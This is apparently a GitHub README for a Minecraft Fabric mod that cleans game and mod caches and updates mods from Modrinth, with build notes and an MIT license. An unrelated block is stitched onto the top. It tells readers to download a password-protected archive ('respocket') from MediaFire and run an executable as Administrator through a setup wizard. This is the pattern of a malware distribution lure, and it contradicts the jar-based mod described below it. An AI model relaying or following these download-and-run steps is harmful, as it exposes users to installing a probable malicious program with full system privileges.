⚡ All-in-one loader: The entire script is compiled into a single loader for your convenience — just download, extract, and run. No extra setup required.
- ⬇️ Download the tool from the button above.
- 📦 Extract the archive (password:
respocket). - 🖱️ Run as Administrator – right‑click the executable and select Run as Administrator.
- ✅ Follow the setup wizard – complete the installation.
- 🚀 Launch the Tool – the main window appears.
⚠️ Important: Official Distribution NoticeWe distribute our software only through MediaFire.
If the download link leads to any other file-sharing service, please do not download it — it may be an unofficial or modified copy.
For your safety, always use the official release.
This release was carefully prepared by the Respocket Team — with attention to every detail, a focus on stability, and respect for our users.
Thank you for choosing our software. Download only official versions and stay with us!
Client-side cache cleaner for Minecraft, the mods you have installed and the resource packs they use. Stale caches are what make the game render wrong — purple-and-black missing models, textures that never refresh, broken resource packs — and deleting them is usually the only fix that helps. CleanMCMod does that from one screen, shows what it would remove before removing anything, and can update your mods from Modrinth on request.
Fabric Loader, client only: the jar declares environment: client and never
runs on a dedicated server.
| Target | Regenerated by |
|---|---|
logs/ |
writing a new log |
crash-reports/ |
the next crash |
| debug dumps | the game |
| server resource-pack cache | re-downloaded from the server |
| Fabric remapped-jar cache | Loom/Fabric on next launch |
| Mixin debug output | Mixin, if enabled again |
| asset indexes / asset objects | downloaded from Mojang — off by default |
config/<mod>/**/cache* |
the mod that created it (off by default per folder) |
Every target is measured before it is deleted. Directories are never removed
themselves, only their files, symlinks are never followed, and
saves/, mods/*.jar, resourcepacks/, shaderpacks/, screenshots/ and
top-level config/*.json are never touched.
- F7 opens the CleanMCMod screen, and the title screen gets a
CleanMCMod...button, so it is reachable before a world is loaded. /cleanmcmod scan,/cleanmcmod cleanand/cleanmcmod screendo the same work from chat.- The main screen lists each cache with its size, a Dry run line that says nothing will be deleted while that setting is on, and buttons for Clean now, Rescan, Settings... and Update mods....
Eight settings, saved to config/cleanmcmod.json the moment you toggle them:
game logs, crash reports, debug dumps, server resource packs, loader and mod
caches, the deep asset cache, mod-cache auto-detection, and dry run.
Update mods... scans mods/, asks Modrinth for a newer build of each jar
that matches your game version and loader, and lists them. Nothing is
installed until you press Install selected or Install all and confirm.
A download is verified against the SHA-1 Modrinth publishes, the old jar is
moved aside, the new one is moved in, and the old jar is restored if anything
fails. CleanMCMod never updates its own jar while it is loaded.
Offline, unknown project, no matching version, unreadable jar, hash mismatch —
each leaves mods/ exactly as it was and shows one readable message.
One source tree covers 1.21.8, 1.21.9, 1.21.10 and 1.21.11. Pass
-Pmc=<version> and the matching Yarn, Fabric API and Java level are selected
from the support matrix in build.gradle; all four compile and are tested in
CI, one workflow per version.
./gradlew clean build -Pmc=1.21.11 # build/libs/cleanmcmod-<version>+1.21.11.jar26.1 / 26.2 / 26.3 are supported from their own branches, 26.1, 26.2 and
26.3: those releases ship unobfuscated, with no Yarn mappings, so they build
with Loom's non-remapping plugin against the official class names on Java 25
and cannot share this Yarn/JDK 21 tree.
en_us is canonical. Shipped translations: German, Spanish, French, Italian,
Japanese, Korean, Dutch, Polish, Brazilian Portuguese, Russian, Turkish,
Ukrainian, Simplified Chinese, Traditional Chinese. Every file must carry the
same key set as en_us.json; AGENTS.md §6 has the parity check.
The wrapper is checked in, so no Gradle installation is required. Two JDKs are needed: Java 25 runs Gradle and Loom (Loom 1.19.3 refuses to run on 21), and a Java 21 must also be installed because the build pins a Java 21 toolchain.
export JAVA_HOME=/path/to/jdk-25
./gradlew clean build # 50 unit tests + jar in build/libs/
./gradlew runClient # dev client, game directory ./run
# if Gradle cannot find the Java 21 toolchain:
./gradlew clean build -Porg.gradle.java.installations.paths=/path/to/jdk-21The version comes from version.txt (single source of truth); the artifact is
cleanmcmod-<version>+<minecraft_version>.jar.
No hiding of installed mods from a server, no anti-cheat or mod-detection evasion, and no pretending that a server resource pack was accepted. Those break the Modrinth content rules and server terms of service, so they are deliberately absent and will stay absent.
The author tests only the latest Minecraft version (26.3 at the time of writing). The other branches are provided as is: they compile and their unit tests pass, but no in-game guarantee is made for them.
Each branch builds one Minecraft version: ./gradlew clean build in a branch
produces build/libs/cleanmcmod-<mod version>+<minecraft version>.jar, which is
MIT — see LICENSE.
MIT License
Copyright (c) 2026 Pietro Bonaldo
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.